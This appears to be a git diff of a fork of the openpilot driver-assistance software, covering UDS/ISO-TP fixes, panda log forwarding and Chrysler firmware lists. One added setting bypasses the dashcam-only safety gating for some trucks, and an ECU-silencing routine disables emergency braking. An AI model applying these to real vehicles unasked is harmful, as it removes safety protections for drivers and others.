return bytes(ret) + ret = b"" + for _ in range(math.ceil(length / XFER_SIZE)): + d = self._transfer(endpoint, [], timeout, max_rx_len=XFER_SIZE) + ret += d + if len(d) < XFER_SIZE: + break + return ret class STBootloaderSPIHandle(BaseSTBootloaderHandle): diff --git a/panda/python/uds.py b/panda/python/uds.py index 06d8d8257..9b25dffe6 100644 --- a/panda/python/uds.py +++ b/panda/python/uds.py @@ -229,7 +229,10 @@ class NegativeResponseError(Exception): class InvalidServiceIdError(Exception): pass -class InvalidSubFunctioneError(Exception): +class InvalidSubFunctionError(Exception): + pass + +class InvalidSubAddressError(Exception): pass _negative_response_codes = { @@ -299,12 +302,12 @@ def get_dtc_status_names(status): class CanClient(): def __init__(self, can_send: Callable[[int, bytes, int], None], can_recv: Callable[[], List[Tuple[int, int, bytes, int]]], - tx_addr: int, rx_addr: int, bus: int, sub_addr: int = None, debug: bool = False): + tx_addr: int, rx_addr: int, bus: int, sub_addr: Optional[int] = None, debug: bool = False): self.tx = can_send self.rx = can_recv self.tx_addr = tx_addr self.rx_addr = rx_addr - self.rx_buff = deque() # type: Deque[bytes] + self.rx_buff: Deque[bytes] = deque() self.sub_addr = sub_addr self.bus = bus self.debug = debug @@ -345,6 +348,8 @@ class CanClient(): # Cut off sub addr in first byte if self.sub_addr is not None: + if rx_data[0] != self.sub_addr: + raise InvalidSubAddressError(f"isotp - rx: invalid sub-address: {rx_data[0]}, expected: {self.sub_addr}") rx_data = rx_data[1:] self.rx_buff.append(rx_data) @@ -468,7 +473,7 @@ class IsoTpMessage(): # assert len(rx_data) == self.max_len, f"isotp - rx: invalid CAN frame length: {len(rx_data)}" if rx_data[0] >> 4 == ISOTP_FRAME_TYPE.SINGLE: - self.rx_len = rx_data[0] & 0xFF + self.rx_len = rx_data[0] & 0x0F assert self.rx_len < self.max_len, f"isotp - rx: invalid single frame length: {self.rx_len}" self.rx_dat = rx_data[1:1 + self.rx_len] self.rx_idx = 0 @@ -566,7 +571,7 @@ def get_rx_addr_for_tx_addr(tx_addr, rx_offset=0x8): class UdsClient(): - def __init__(self, panda, tx_addr: int, rx_addr: int = None, bus: int = 0, sub_addr: int = None, timeout: float = 1, + def __init__(self, panda, tx_addr: int, rx_addr: Optional[int] = None, bus: int = 0, sub_addr: Optional[int] = None, timeout: float = 1, debug: bool = False, tx_timeout: float = 1, response_pending_timeout: float = 10): self.bus = bus self.tx_addr = tx_addr @@ -579,7 +584,7 @@ class UdsClient(): self.response_pending_timeout = response_pending_timeout # generic uds request - def _uds_request(self, service_type: SERVICE_TYPE, subfunction: int = None, data: bytes = None) -> bytes: + def _uds_request(self, service_type: SERVICE_TYPE, subfunction: Optional[int] = None, data: Optional[bytes] = None) -> bytes: req = bytes([service_type]) if subfunction is not None: req += bytes([subfunction]) @@ -630,7 +635,7 @@ class UdsClient(): resp_sfn = resp[1] if len(resp) > 1 else None if subfunction != resp_sfn: resp_sfn_hex = hex(resp_sfn) if resp_sfn is not None else None - raise InvalidSubFunctioneError(f'invalid response subfunction: {resp_sfn_hex:x}') + raise InvalidSubFunctionError(f'invalid response subfunction: {resp_sfn_hex}') # return data (exclude service id and sub-function id) return resp[(1 if subfunction is None else 2):] @@ -667,7 +672,7 @@ class UdsClient(): def tester_present(self, ): self._uds_request(SERVICE_TYPE.TESTER_PRESENT, subfunction=0x00) - def access_timing_parameter(self, timing_parameter_type: TIMING_PARAMETER_TYPE, parameter_values: bytes = None): + def access_timing_parameter(self, timing_parameter_type: TIMING_PARAMETER_TYPE, parameter_values: Optional[bytes] = None): write_custom_values = timing_parameter_type == TIMING_PARAMETER_TYPE.SET_TO_GIVEN_VALUES read_values = (timing_parameter_type == TIMING_PARAMETER_TYPE.READ_CURRENTLY_ACTIVE or timing_parameter_type == TIMING_PARAMETER_TYPE.READ_EXTENDED_SET) @@ -710,7 +715,7 @@ class UdsClient(): "data": resp[2:], # TODO: parse the reset of response } - def link_control(self, link_control_type: LINK_CONTROL_TYPE, baud_rate_type: BAUD_RATE_TYPE = None): + def link_control(self, link_control_type: LINK_CONTROL_TYPE, baud_rate_type: Optional[BAUD_RATE_TYPE] = None): data: Optional[bytes] if link_control_type == LINK_CONTROL_TYPE.VERIFY_BAUDRATE_TRANSITION_WITH_FIXED_BAUDRATE: diff --git a/panda/python/usb.py b/panda/python/usb.py index 1487f101b..0f1bff7c1 100644 --- a/panda/python/usb.py +++ b/panda/python/usb.py @@ -1,5 +1,4 @@ import struct -from typing import List from .base import BaseHandle, BaseSTBootloaderHandle, TIMEOUT from .constants import McuType @@ -11,13 +10,13 @@ class PandaUsbHandle(BaseHandle): def close(self): self._libusb_handle.close() - def controlWrite(self, request_type: int, request: int, value: int, index: int, data, timeout: int = TIMEOUT): + def controlWrite(self, request_type: int, request: int, value: int, index: int, data, timeout: int = TIMEOUT, expect_disconnect: bool = False): return self._libusb_handle.controlWrite(request_type, request, value, index, data, timeout) def controlRead(self, request_type: int, request: int, value: int, index: int, length: int, timeout: int = TIMEOUT): return self._libusb_handle.controlRead(request_type, request, value, index, length, timeout) - def bulkWrite(self, endpoint: int, data: List[int], timeout: int = TIMEOUT) -> int: + def bulkWrite(self, endpoint: int, data: bytes, timeout: int = TIMEOUT) -> int: return self._libusb_handle.bulkWrite(endpoint, data, timeout) # type: ignore def bulkRead(self, endpoint: int, length: int, timeout: int = TIMEOUT) -> bytes: diff --git a/panda/python/utils.py b/panda/python/utils.py new file mode 100644 index 000000000..f91da6413 --- /dev/null +++ b/panda/python/utils.py @@ -0,0 +1,12 @@ +def crc8_pedal(data): + crc = 0xFF # standard init value + poly = 0xD5 # standard crc8: x8+x7+x6+x4+x2+1 + size = len(data) + for i in range(size - 1, -1, -1): + crc ^= data[i] + for _ in range(8): + if ((crc & 0x80) != 0): + crc = ((crc << 1) ^ poly) & 0xFF + else: + crc <<= 1 + return crc diff --git a/rednose/__init__.py b/rednose/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/rednose/helpers/__init__.py b/rednose/helpers/__init__.py index bbd239b77..12cce3481 100644 --- a/rednose/helpers/__init__.py +++ b/rednose/helpers/__init__.py @@ -9,8 +9,8 @@ def write_code(folder, name, code, header): if not os.path.exists(folder): os.mkdir(folder) - open(os.path.join(folder, f"{name}.cpp"), 'w').write(code) - open(os.path.join(folder, f"{name}.h"), 'w').write(header) + open(os.path.join(folder, f"{name}.cpp"), 'w', encoding='utf-8').write(code) + open(os.path.join(folder, f"{name}.h"), 'w', encoding='utf-8').write(header) def load_code(folder, name, lib_name=None): @@ -20,7 +20,7 @@ def load_code(folder, name, lib_name=None): shared_fn = os.path.join(folder, f"lib{lib_name}.{shared_ext}") header_fn = os.path.join(folder, f"{name}.h") - with open(header_fn) as f: + with open(header_fn, encoding='utf-8') as f: header = f.read() # is the only thing that can be parsed by cffi diff --git a/rednose/helpers/ekf_sym.py b/rednose/helpers/ekf_sym.py index c9cf0bc22..b60c202a5 100644 --- a/rednose/helpers/ekf_sym.py +++ b/rednose/helpers/ekf_sym.py @@ -204,14 +204,14 @@ def gen_code(folder, name, f_sym, dt_sym, x_sym, obs_eqs, dim_x, dim_err, eskf_p # merge code blocks header += "}" - code = "\n".join([pre_code, code, open(os.path.join(TEMPLATE_DIR, "ekf_c.c")).read(), post_code]) + code = "\n".join([pre_code, code, open(os.path.join(TEMPLATE_DIR, "ekf_c.c"), encoding='utf-8').read(), post_code]) # write to file if not os.path.exists(folder): os.mkdir(folder) - open(os.path.join(folder, f"{name}.h"), 'w').write(header) # header is used for ffi import - open(os.path.join(folder, f"{name}.cpp"), 'w').write(code) + open(os.path.join(folder, f"{name}.h"), 'w', encoding='utf-8').write(header) # header is used for ffi import + open(os.path.join(folder, f"{name}.cpp"), 'w', encoding='utf-8').write(code) class EKF_sym(): diff --git a/rednose/helpers/ekf_sym_pyx.so b/rednose/helpers/ekf_sym_pyx.so index fe5b50928..d657ffad7 100755 Binary files a/rednose/helpers/ekf_sym_pyx.so and b/rednose/helpers/ekf_sym_pyx.so differ diff --git a/rednose/helpers/feature_handler.py b/rednose/helpers/feature_handler.py index 6a20b85e1..165c9a4d0 100755 --- a/rednose/helpers/feature_handler.py +++ b/rednose/helpers/feature_handler.py @@ -36,7 +36,7 @@ class FeatureHandler(): c_code += "#include \n" c_code += "#define K %d\n" % K c_code += "extern \"C\" {\n" - c_code += "\n" + open(os.path.join(TEMPLATE_DIR, "feature_handler.c")).read() + c_code += "\n" + open(os.path.join(TEMPLATE_DIR, "feature_handler.c"), encoding='utf-8').read() c_code += "\n}\n" filename = f"{FeatureHandler.name}_{K}" @@ -98,7 +98,7 @@ class FeatureHandler(): real = np.isfinite(last_idxs) self.tracks[last_idxs[real].astype(int)] = self.tracks[real] - mask = np.ones(self.MAX_TRACKS, np.bool) + mask = np.ones(self.MAX_TRACKS, bool) mask[last_idxs[real].astype(int)] = 0 empty_idxs = np.arange(self.MAX_TRACKS)[mask] diff --git a/rednose/helpers/lst_sq_computer.py b/rednose/helpers/lst_sq_computer.py index 56c3bc8c4..3c74eaac5 100755 --- a/rednose/helpers/lst_sq_computer.py +++ b/rednose/helpers/lst_sq_computer.py @@ -54,7 +54,7 @@ class LstSqComputer(): code += "\n#define KDIM %d\n" % K code += "extern \"C\" {\n" code += sympy_code - code += "\n" + open(os.path.join(TEMPLATE_DIR, "compute_pos.c")).read() + "\n" + code += "\n" + open(os.path.join(TEMPLATE_DIR, "compute_pos.c"), encoding='utf-8').read() + "\n" code += "}\n" header += "\nvoid compute_pos(double *to_c, double *in_poses, double *in_img_positions, double *param, double *pos);\n" diff --git a/selfdrive/assets/navigation/icon_directions.svg b/selfdrive/assets/navigation/icon_directions.svg new file mode 100644 index 000000000..66009ac43 --- /dev/null +++ b/selfdrive/assets/navigation/icon_directions.svg @@ -0,0 +1 @@ + diff --git a/selfdrive/assets/navigation/icon_directions_outlined.svg b/selfdrive/assets/navigation/icon_directions_outlined.svg new file mode 100644 index 000000000..4d31bfd93 --- /dev/null +++ b/selfdrive/assets/navigation/icon_directions_outlined.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/selfdrive/assets/navigation/icon_favorite.svg b/selfdrive/assets/navigation/icon_favorite.svg new file mode 100644 index 000000000..ba64df4ab --- /dev/null +++ b/selfdrive/assets/navigation/icon_favorite.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/selfdrive/assets/navigation/icon_home.svg b/selfdrive/assets/navigation/icon_home.svg new file mode 100644 index 000000000..cb8701109 --- /dev/null +++ b/selfdrive/assets/navigation/icon_home.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/selfdrive/assets/navigation/icon_recent.svg b/selfdrive/assets/navigation/icon_recent.svg new file mode 100644 index 000000000..668aa3820 --- /dev/null +++ b/selfdrive/assets/navigation/icon_recent.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/selfdrive/assets/navigation/icon_settings.svg b/selfdrive/assets/navigation/icon_settings.svg new file mode 100644 index 000000000..134cc0f31 --- /dev/null +++ b/selfdrive/assets/navigation/icon_settings.svg @@ -0,0 +1 @@ + diff --git a/selfdrive/assets/navigation/icon_work.svg b/selfdrive/assets/navigation/icon_work.svg new file mode 100644 index 000000000..c1ea6c5e3 --- /dev/null +++ b/selfdrive/assets/navigation/icon_work.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/selfdrive/assets/navigation/screenshot.png b/selfdrive/assets/navigation/screenshot.png deleted file mode 100644 index 3e89c0475..000000000 Binary files a/selfdrive/assets/navigation/screenshot.png and /dev/null differ diff --git a/selfdrive/athena/athenad.py b/selfdrive/athena/athenad.py index e4bf03d8e..505bba46e 100755 --- a/selfdrive/athena/athenad.py +++ b/selfdrive/athena/athenad.py @@ -137,7 +137,7 @@ class UploadQueueCache: cloudlog.exception("athena.UploadQueueCache.cache.exception") -def handle_long_poll(ws: WebSocket) -> None: +def handle_long_poll(ws: WebSocket, exit_event: Optional[threading.Event]) -> None: end_event = threading.Event() threads = [ @@ -156,6 +156,8 @@ def handle_long_poll(ws: WebSocket) -> None: try: while not end_event.is_set(): time.sleep(0.1) + if exit_event is not None and exit_event.is_set(): + end_event.set() except (KeyboardInterrupt, SystemExit): end_event.set() raise @@ -758,7 +760,7 @@ def backoff(retries: int) -> int: return random.randrange(0, min(128, int(2 ** retries))) -def main(): +def main(exit_event: Optional[threading.Event] = None): try: set_core_affinity([0, 1, 2, 3]) except Exception: @@ -771,26 +773,34 @@ def main(): ws_uri = ATHENA_HOST + "/ws/v2/" + dongle_id api = Api(dongle_id) + conn_start = None conn_retries = 0 - while 1: + while exit_event is None or not exit_event.is_set(): try: - cloudlog.event("athenad.main.connecting_ws", ws_uri=ws_uri) + if conn_start is None: + conn_start = time.monotonic() + + cloudlog.event("athenad.main.connecting_ws", ws_uri=ws_uri, retries=conn_retries) ws = create_connection(ws_uri, cookie="jwt=" + api.get_token(), enable_multithread=True, timeout=30.0) - cloudlog.event("athenad.main.connected_ws", ws_uri=ws_uri) + cloudlog.event("athenad.main.connected_ws", ws_uri=ws_uri, retries=conn_retries, + duration=time.monotonic() - conn_start) + conn_start = None conn_retries = 0 cur_upload_items.clear() - handle_long_poll(ws) + handle_long_poll(ws, exit_event) except (KeyboardInterrupt, SystemExit): break except (ConnectionError, TimeoutError, WebSocketException): conn_retries += 1 params.remove("LastAthenaPingTime") - except socket.timeout: + # TODO: socket.timeout and TimeoutError are now the same exception since python3.10 + # Remove the socket.timeout case once we have fully moved to python3.11 + except socket.timeout: # pylint: disable=duplicate-except params.remove("LastAthenaPingTime") except Exception: cloudlog.exception("athenad.main.exception") diff --git a/selfdrive/athena/registration.py b/selfdrive/athena/registration.py index 34e2e0f4f..2dddcbcaf 100755 --- a/selfdrive/athena/registration.py +++ b/selfdrive/athena/registration.py @@ -32,6 +32,9 @@ def register(show_spinner=False) -> Optional[str]: dongle_id: Optional[str] = params.get("DongleId", encoding='utf8') needs_registration = None in (IMEI, HardwareSerial, dongle_id) + if not params.get_bool('dp_device_enable_comma_registration'): + return UNREGISTERED_DONGLE_ID if dongle_id is None else dongle_id + pubkey = Path(PERSIST+"/comma/id_rsa.pub") if not pubkey.is_file(): dongle_id = UNREGISTERED_DONGLE_ID diff --git a/selfdrive/boardd/boardd b/selfdrive/boardd/boardd index 9a6c9f558..9be205f0d 100755 Binary files a/selfdrive/boardd/boardd and b/selfdrive/boardd/boardd differ diff --git a/selfdrive/boardd/boardd_api_impl.pyx b/selfdrive/boardd/boardd_api_impl.pyx index 0d428a925..6a552bb44 100644 --- a/selfdrive/boardd/boardd_api_impl.pyx +++ b/selfdrive/boardd/boardd_api_impl.pyx @@ -4,13 +4,15 @@ from libcpp.vector cimport vector from libcpp.string cimport string from libcpp cimport bool -cdef struct can_frame: - long address - string dat - long busTime - long src +cdef extern from "panda.h": + cdef struct can_frame: + long address + string dat + long busTime + long src -cdef extern void can_list_to_can_capnp_cpp(const vector[can_frame] &can_list, string &out, bool sendCan, bool valid) +cdef extern from "can_list_to_can_capnp.cc": + void can_list_to_can_capnp_cpp(const vector[can_frame] &can_list, string &out, bool sendCan, bool valid) def can_list_to_can_capnp(can_msgs, msgtype='can', valid=True): cdef vector[can_frame] can_list diff --git a/selfdrive/boardd/boardd_api_impl.so b/selfdrive/boardd/boardd_api_impl.so index a63f7887b..ade17e120 100755 Binary files a/selfdrive/boardd/boardd_api_impl.so and b/selfdrive/boardd/boardd_api_impl.so differ diff --git a/selfdrive/boardd/panda.h b/selfdrive/boardd/panda.h index 795d61a7f..b73f66b1a 100644 --- a/selfdrive/boardd/panda.h +++ b/selfdrive/boardd/panda.h @@ -72,6 +72,7 @@ public: std::optional get_can_state(uint16_t can_number); void set_loopback(bool loopback); std::optional> get_firmware_version(); + bool up_to_date(); std::optional get_serial(); void set_power_saving(bool power_saving); void enable_deepsleep(); diff --git a/selfdrive/boardd/panda_comms.h b/selfdrive/boardd/panda_comms.h index b07aec509..c102642e5 100644 --- a/selfdrive/boardd/panda_comms.h +++ b/selfdrive/boardd/panda_comms.h @@ -14,7 +14,7 @@ #define TIMEOUT 0 -#define SPI_BUF_SIZE 1024 +#define SPI_BUF_SIZE 2048 // comms base class @@ -74,7 +74,7 @@ private: uint8_t rx_buf[SPI_BUF_SIZE]; inline static std::recursive_mutex hw_lock; - int wait_for_ack(uint8_t ack, uint8_t tx, unsigned int timeout); + int wait_for_ack(uint8_t ack, uint8_t tx, unsigned int timeout, unsigned int length); int bulk_transfer(uint8_t endpoint, uint8_t *tx_data, uint16_t tx_len, uint8_t *rx_data, uint16_t rx_len, unsigned int timeout); int spi_transfer(uint8_t endpoint, uint8_t *tx_data, uint16_t tx_len, uint8_t *rx_data, uint16_t max_rx_len, unsigned int timeout); int spi_transfer_retry(uint8_t endpoint, uint8_t *tx_data, uint16_t tx_len, uint8_t *rx_data, uint16_t max_rx_len, unsigned int timeout); diff --git a/selfdrive/boardd/pandad.py b/selfdrive/boardd/pandad.py index 44b84577c..7e0fbf317 100755 --- a/selfdrive/boardd/pandad.py +++ b/selfdrive/boardd/pandad.py @@ -3,13 +3,15 @@ import os import usb1 import time +import json import subprocess from typing import List, NoReturn from functools import cmp_to_key -from panda import Panda, PandaDFU, FW_PATH +from panda import Panda, PandaDFU, PandaProtocolMismatch, FW_PATH from common.basedir import BASEDIR from common.params import Params +from selfdrive.boardd.set_time import set_time from system.hardware import HARDWARE from system.swaglog import cloudlog @@ -22,9 +24,56 @@ def get_expected_signature(panda: Panda) -> bytes: cloudlog.exception("Error computing expected signature") return b"" +def read_panda_logs(panda: Panda) -> None: + """ + Forward panda logs to the cloud + """ + + params = Params() + serial = panda.get_usb_serial() + + log_state = {} + try: + l = json.loads(params.get("PandaLogState")) + for k, v in l.items(): + if isinstance(k, str) and isinstance(v, int): + log_state[k] = v + except (TypeError, json.JSONDecodeError): + cloudlog.exception("failed to parse PandaLogState") + + try: + if serial in log_state: + logs = panda.get_logs(last_id=log_state[serial]) + else: + logs = panda.get_logs(get_all=True) + + # truncate logs to 100 entries if needed + MAX_LOGS = 100 + if len(logs) > MAX_LOGS: + cloudlog.warning(f"Panda {serial} has {len(logs)} logs, truncating to {MAX_LOGS}") + logs = logs[-MAX_LOGS:] + + # update log state + if len(logs) > 0: + log_state[serial] = logs[-1]["id"] + + for log in logs: + if log['timestamp'] is not None: + log['timestamp'] = log['timestamp'].isoformat() + cloudlog.event("panda_log", **log, serial=serial) + + params.put("PandaLogState", json.dumps(log_state)) + except Exception: + cloudlog.exception(f"Error getting logs for panda {serial}") + def flash_panda(panda_serial: str) -> Panda: - panda = Panda(panda_serial) + try: + panda = Panda(panda_serial) + except PandaProtocolMismatch: + cloudlog.warning("detected protocol mismatch, reflashing panda") + HARDWARE.recover_internal_panda() + raise fw_signature = get_expected_signature(panda) internal_panda = panda.is_internal() @@ -44,7 +93,7 @@ def flash_panda(panda_serial: str) -> Panda: if internal_panda: HARDWARE.recover_internal_panda() panda.recover(reset=(not internal_panda)) - cloudlog.info("Done flashing bootloader") + cloudlog.info("Done flashing bootstub") if panda.bootstub: cloudlog.info("Panda still not booting, exiting") @@ -131,7 +180,7 @@ def main() -> NoReturn: # sort pandas to have deterministic order pandas.sort(key=cmp_to_key(panda_sort_cmp)) - panda_serials = list(map(lambda p: p.get_usb_serial(), pandas)) # type: ignore + panda_serials = list(map(lambda p: p.get_usb_serial(), pandas)) # log panda fw versions params.put("PandaSignatures", b','.join(p.get_signature() for p in pandas)) @@ -143,13 +192,19 @@ def main() -> NoReturn: # params.put_bool("PandaHeartbeatLost", True) # cloudlog.event("heartbeat lost", deviceState=health, serial=panda.get_usb_serial()) # + # read_panda_logs(panda) + # # if first_run: + # if panda.is_internal(): + # # update time from RTC + # set_time(cloudlog) + # + # # reset panda to ensure we're in a good state # cloudlog.info(f"Resetting panda {panda.get_usb_serial()}") # if panda.is_internal(): # HARDWARE.reset_internal_panda() # else: # panda.reset(reconnect=False) - # for p in pandas: p.close() @@ -158,6 +213,9 @@ def main() -> NoReturn: # a panda was disconnected while setting everything up. let's try again cloudlog.exception("Panda USB exception while setting up") continue + except PandaProtocolMismatch: + cloudlog.exception("pandad.protocol_mismatch") + continue except Exception: cloudlog.exception("pandad.uncaught_exception") continue diff --git a/selfdrive/boardd/set_time.py b/selfdrive/boardd/set_time.py index 2159eba5e..93453dcd9 100755 --- a/selfdrive/boardd/set_time.py +++ b/selfdrive/boardd/set_time.py @@ -3,7 +3,7 @@ import os import datetime from panda import Panda -MIN_DATE = datetime.datetime(year=2023, month=4, day=1) +from common.time import MIN_DATE def set_time(logger): sys_time = datetime.datetime.today() diff --git a/selfdrive/camerad/camerad b/selfdrive/camerad/camerad index c8894b403..53b26aed4 100755 Binary files a/selfdrive/camerad/camerad and b/selfdrive/camerad/camerad differ diff --git a/selfdrive/car/__init__.py b/selfdrive/car/__init__.py index 58cde8581..bb201bfe0 100644 --- a/selfdrive/car/__init__.py +++ b/selfdrive/car/__init__.py @@ -1,10 +1,12 @@ # functions common among cars -import capnp from collections import namedtuple +from typing import Dict, Optional + +import capnp from cereal import car from common.numpy_fast import clip, interp -from typing import Dict + # kg of standard extra cargo to count for drive, gas, etc... STD_CARGO_KG = 136. @@ -175,3 +177,15 @@ def get_safety_config(safety_model, safety_param = None): if safety_param is not None: ret.safetyParam = safety_param return ret + + +class CanBusBase: + offset: int + + def __init__(self, CP, fingerprint: Optional[Dict[int, Dict[int, int]]]) -> None: + if CP is None: + assert fingerprint is not None + num = max([k for k, v in fingerprint.items() if len(v)], default=0) // 4 + 1 + else: + num = len(CP.safetyConfigs) + self.offset = 4 * (num - 1) diff --git a/selfdrive/car/body/carcontroller.py b/selfdrive/car/body/carcontroller.py index bcaf6f6f9..64c5617ef 100644 --- a/selfdrive/car/body/carcontroller.py +++ b/selfdrive/car/body/carcontroller.py @@ -40,7 +40,7 @@ class CarController: torque_l = 0 torque_r = 0 - llk_valid = len(CC.orientationNED) > 0 and len(CC.angularVelocity) > 0 + llk_valid = len(CC.orientationNED) > 1 and len(CC.angularVelocity) > 1 if CC.enabled and llk_valid: # Read these from the joystick # TODO: this isn't acceleration, okay? diff --git a/selfdrive/car/car_helpers.py b/selfdrive/car/car_helpers.py index 160b1848c..e146cc528 100644 --- a/selfdrive/car/car_helpers.py +++ b/selfdrive/car/car_helpers.py @@ -79,6 +79,7 @@ interfaces = load_interfaces(interface_names) def fingerprint(logcan, sendcan, num_pandas): fixed_fingerprint = os.environ.get('FINGERPRINT', "") skip_fw_query = os.environ.get('SKIP_FW_QUERY', False) + disable_fw_cache = os.environ.get('DISABLE_FW_CACHE', False) ecu_rx_addrs = set() params = Params() @@ -94,10 +95,12 @@ def fingerprint(logcan, sendcan, num_pandas): cached_params = params.get("CarParamsCache") if cached_params is not None: cached_params = car.CarParams.from_bytes(cached_params) + # with car.CarParams.from_bytes(cached_params) as cached_params: if cached_params.carName == "mock": cached_params = None - if cached_params is not None and len(cached_params.carFw) > 0 and cached_params.carVin is not VIN_UNKNOWN: + if cached_params is not None and len(cached_params.carFw) > 0 and \ + cached_params.carVin is not VIN_UNKNOWN and not disable_fw_cache: cloudlog.warning("Using cached CarParams") vin, vin_rx_addr = cached_params.carVin, 0 car_fw = list(cached_params.carFw) diff --git a/selfdrive/car/chrysler/interface.py b/selfdrive/car/chrysler/interface.py index 22b207388..2b450350a 100755 --- a/selfdrive/car/chrysler/interface.py +++ b/selfdrive/car/chrysler/interface.py @@ -4,7 +4,7 @@ from panda import Panda from selfdrive.car import STD_CARGO_KG, get_safety_config from selfdrive.car.chrysler.values import CAR, RAM_HD, RAM_DT, RAM_CARS, ChryslerFlags from selfdrive.car.interfaces import CarInterfaceBase - +from common.params import Params class CarInterface(CarInterfaceBase): @staticmethod @@ -12,6 +12,8 @@ class CarInterface(CarInterfaceBase): ret.carName = "chrysler" ret.dashcamOnly = candidate in RAM_HD + ret.dashcamOnly = False if ret.dashcamOnly and Params().get_bool("dp_car_dashcam_mode_removal") else ret.dashcamOnly + # radar parsing needs some work, see https://github.com/commaai/openpilot/issues/26842 ret.radarUnavailable = True # DBC[candidate]['radar'] is None ret.steerActuatorDelay = 0.1 diff --git a/selfdrive/car/chrysler/values.py b/selfdrive/car/chrysler/values.py index bd7c3acc3..b9ce596c9 100644 --- a/selfdrive/car/chrysler/values.py +++ b/selfdrive/car/chrysler/values.py @@ -1,5 +1,5 @@ from enum import IntFlag -from dataclasses import dataclass +from dataclasses import dataclass, field from typing import Dict, List, Optional, Union from cereal import car @@ -60,7 +60,7 @@ RAM_CARS = RAM_DT | RAM_HD @dataclass class ChryslerCarInfo(CarInfo): package: str = "Adaptive Cruise Control (ACC)" - car_parts: CarParts = CarParts.common([CarHarness.fca]) + car_parts: CarParts = field(default_factory=CarParts.common([CarHarness.fca])) CAR_INFO: Dict[str, Optional[Union[ChryslerCarInfo, List[ChryslerCarInfo]]]] = { @@ -167,7 +167,7 @@ FW_QUERY_CONFIG = FwQueryConfig( Request( [CHRYSLER_VERSION_REQUEST], [CHRYSLER_VERSION_RESPONSE], - whitelist_ecus=[Ecu.abs, Ecu.hcp, Ecu.engine, Ecu.transmission], + whitelist_ecus=[Ecu.abs, Ecu.hybrid, Ecu.engine, Ecu.transmission], bus=0, ), Request( @@ -178,8 +178,8 @@ FW_QUERY_CONFIG = FwQueryConfig( ), ], extra_ecus=[ - (Ecu.hcp, 0x7e2, None), # manages transmission on hybrids - (Ecu.abs, 0x7e4, None), # alt address for abs on hybrids + (Ecu.hybrid, 0x7e2, None), # manages transmission on hybrids + (Ecu.abs, 0x7e4, None), # alt address for abs on hybrids ], ) @@ -224,9 +224,11 @@ FW_VERSIONS = { b'68453511AC', b'68453513AD', b'68453514AD', + b'68510280AG', b'68510283AG', b'68527346AE', b'68527375AD', + b'68527382AE', ], (Ecu.srs, 0x744, None): [ b'68428609AB', @@ -235,6 +237,7 @@ FW_VERSIONS = { b'68490898AA', b'68500728AA', b'68615033AA', + b'68615034AA', ], (Ecu.abs, 0x747, None): [ b'68292406AH', @@ -254,6 +257,8 @@ FW_VERSIONS = { (Ecu.fwdRadar, 0x753, None): [ b'04672892AB', b'04672932AB', + b'04672932AC', + b'22DTRHD_AA', b'68320950AH', b'68320950AI', b'68320950AJ', @@ -265,8 +270,10 @@ FW_VERSIONS = { b'68475160AG', ], (Ecu.eps, 0x75A, None): [ + b'21590101AA', b'68273275AF', b'68273275AG', + b'68273275AH', b'68312176AE', b'68312176AG', b'68440789AC', @@ -277,13 +284,19 @@ FW_VERSIONS = { b'68552788AA', b'68552789AA', b'68552790AA', + b'68585106AB', + b'68585109AB', b'68585112AB', ], (Ecu.engine, 0x7e0, None): [ b'05036065AE ', b'05036066AE ', + b'05149592AE ', + b'05149591AD ', b'05149846AA ', + b'05149848AA ', b'68378701AI ', + b'68378748AL ', b'68378758AM ', b'68448163AJ', b'68448165AK', @@ -292,6 +305,7 @@ FW_VERSIONS = { b'68539650AD', ], (Ecu.transmission, 0x7e1, None): [ + b'05149536AC', b'68360078AL', b'68360080AM', b'68360081AM', diff --git a/selfdrive/car/disable_ecu.py b/selfdrive/car/disable_ecu.py index ed98e14dc..36ebe12fa 100755 --- a/selfdrive/car/disable_ecu.py +++ b/selfdrive/car/disable_ecu.py @@ -7,22 +7,22 @@ EXT_DIAG_RESPONSE = b'\x50\x03' COM_CONT_RESPONSE = b'' -def disable_ecu(logcan, sendcan, bus=0, addr=0x7d0, com_cont_req=b'\x28\x83\x01', timeout=0.1, retry=10, debug=False): +def disable_ecu(logcan, sendcan, bus=0, addr=0x7d0, sub_addr=None, com_cont_req=b'\x28\x83\x01', timeout=0.1, retry=10, debug=False): """Silence an ECU by disabling sending and receiving messages using UDS 0x28. The ECU will stay silent as long as openpilot keeps sending Tester Present. This is used to disable the radar in some cars. Openpilot will emulate the radar. WARNING: THIS DISABLES AEB!""" - cloudlog.warning(f"ecu disable {hex(addr)} ...") + cloudlog.warning(f"ecu disable {hex(addr), sub_addr} ...") for i in range(retry): try: - query = IsoTpParallelQuery(sendcan, logcan, bus, [addr], [EXT_DIAG_REQUEST], [EXT_DIAG_RESPONSE], debug=debug) + query = IsoTpParallelQuery(sendcan, logcan, bus, [(addr, sub_addr)], [EXT_DIAG_REQUEST], [EXT_DIAG_RESPONSE], debug=debug) for _, _ in query.get_data(timeout).items(): cloudlog.warning("communication control disable tx/rx ...") - query = IsoTpParallelQuery(sendcan, logcan, bus, [addr], [com_cont_req], [COM_CONT_RESPONSE], debug=debug) + query = IsoTpParallelQuery(sendcan, logcan, bus, [(addr, sub_addr)], [com_cont_req], [COM_CONT_RESPONSE], debug=debug) query.get_data(0) cloudlog.warning("ecu disabled") diff --git a/selfdrive/car/docs_definitions.py b/selfdrive/car/docs_definitions.py index 23b460147..5db720b8f 100644 --- a/selfdrive/car/docs_definitions.py +++ b/selfdrive/car/docs_definitions.py @@ -1,5 +1,6 @@ import re from collections import namedtuple +import copy from dataclasses import dataclass, field from enum import Enum from typing import Dict, List, Optional, Tuple, Union @@ -144,8 +145,11 @@ DEFAULT_CAR_PARTS: List[EnumBase] = [Device.three] class CarParts: parts: List[EnumBase] = field(default_factory=list) + def __call__(self): + return copy.deepcopy(self) + @classmethod - def common(cls, add: List[EnumBase] = None, remove: List[EnumBase] = None): + def common(cls, add: Optional[List[EnumBase]] = None, remove: Optional[List[EnumBase]] = None): p = [part for part in (add or []) + DEFAULT_CAR_PARTS if part not in (remove or [])] return cls(p) @@ -225,7 +229,7 @@ class CarInfo: auto_resume: Optional[bool] = None # all the parts needed for the supported car - car_parts: CarParts = CarParts() + car_parts: CarParts = field(default_factory=CarParts) def init(self, CP: car.CarParams, all_footnotes: Dict[Enum, int]): self.car_name = CP.carName @@ -234,14 